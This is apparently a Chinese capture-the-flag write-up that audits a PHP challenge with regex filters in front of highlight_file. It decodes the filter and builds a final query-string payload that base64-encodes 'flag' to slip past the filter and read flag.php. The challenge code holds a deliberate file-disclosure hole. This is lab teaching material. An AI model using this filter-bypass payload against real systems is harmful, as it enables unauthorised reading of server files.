进入环境是一串php代码,代码审计,考的是正则
<?php
error_reporting(0);
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first']; //传两个变量,zero和first变量
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){
$key=$second;
if(preg_match("/\.\.|flag/",$key)){
die("Noooood hacker!");
}else{
$third=$first;
if(preg_match("/\\|\056\160\150\x70/i",$third)){
$end=substr($third,5);
highlight_file(base64_decode($zero).$end);//maybe flag in flag.php
}
}
}
else{
highlight_file(__FILE__);
}
我们本地加上echo $second 发现是把zero和first变量连起来
分析:
下面是正则表达式
\056\160\150\x70是三个八进制一个十六进制,编码过来就是.php
意思传的变量不能包含 .. flag 要包含yeedo要女朋友或者flag中的字符和|.php
变量end从变量third第五位开始截取注意第一个字符是位置0
然后对变量zero Base64解码 后面加上变量end
提示我们flag在flag.php
从后往前看
最后我们应该是要构造出flag.php
因为flag.php是由变量zero和变量end合在一起的,且变量zero要经过base64解码
同时前面我们是需要有字符串flag在里面又不能在里面所以把flag base64加密得到ZmxhZw==
后面因为要取第五位以后的我们可以构造abcd|.php
最后的payload:
?zero=ZmxhZw==&first=abcd|.php